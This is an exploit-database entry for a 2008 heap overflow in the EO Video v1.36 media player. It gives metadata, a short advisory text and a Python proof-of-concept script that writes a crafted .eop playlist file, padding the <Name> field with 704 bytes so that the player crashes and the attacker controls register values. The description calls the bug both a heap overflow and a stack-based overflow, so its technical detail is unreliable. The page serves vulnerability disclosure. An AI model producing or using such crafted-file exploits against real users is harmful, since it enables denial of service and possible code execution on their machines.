EO Video v1.36 Heap Overflow local PoC/DoS exploit

vendor:

EO Video

by:

Muris Kurgas aka j0rgan

7.5

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: EO Video

Affected Version From: 1.36

Affected Version To: 1.36

Patch Exists: NO

Related CWE: N/A

CPE: a:eovideo:eo_video

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

EO Video v1.36 Heap Overflow local PoC/DoS exploit

EO Video v1.36 is vulnerable to a local PoC/DoS exploit. The vulnerability is caused due to a boundary error within the processing of the <Name> buffer of a *.eop playlist file. This can be exploited to cause a stack-based buffer overflow by tricking a user into opening a specially crafted *.eop playlist file. Successful exploitation may allow execution of arbitrary code.

Mitigation:

No known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
# --------------------------------------------------------------
# EO Video v1.36 Heap Overflow local PoC/DoS exploit
# *.eop playlist file in <Name> buffer overflow
# Other versions may be vulnerable too...
# --------------------------------------------------------------
# Vulnerability discovered and coded by Muris Kurgas aka j0rgan
# jorganwd [at] gmail [dot] com
# --------------------------------------------------------------
#
# Who uses this crap of player anyway? :)
# --------------------------------------------------------------
# EAX 42424242
# EDX 42424242
# --------------------------------------------------------------

import os

bafer = '\x41'* 700 + '\x42' * 4

print "Spit me out, all bright and shiny! :)"
fileHandle = open ( 'plejlista.eop', 'w' )
fileHandle.write ('<EOPlaylist>\n<Playlist>\n<FolderList>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n ')
fileHandle.write ('</Folder>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n</Folder>\n</FolderList>\n<ProjectElement>\n ')
fileHandle.write ('<Name>'+bafer+'</Name>')
fileHandle.write ('<StartTime>0</StartTime>\n<EndTime>0</EndTime>\n<MediaSize>\n<Width>-1</Width>\n<Height>-1</Height>\n</MediaSize>\n ')
fileHandle.write ('<State>30216</State>\n<FolderPositionIndex>0</FolderPositionIndex>\n ')
fileHandle.write ('</ProjectElement>\n</Playlist>\n</EOPlaylist>\n')
fileHandle.close ()

# milw0rm.com [2008-08-16]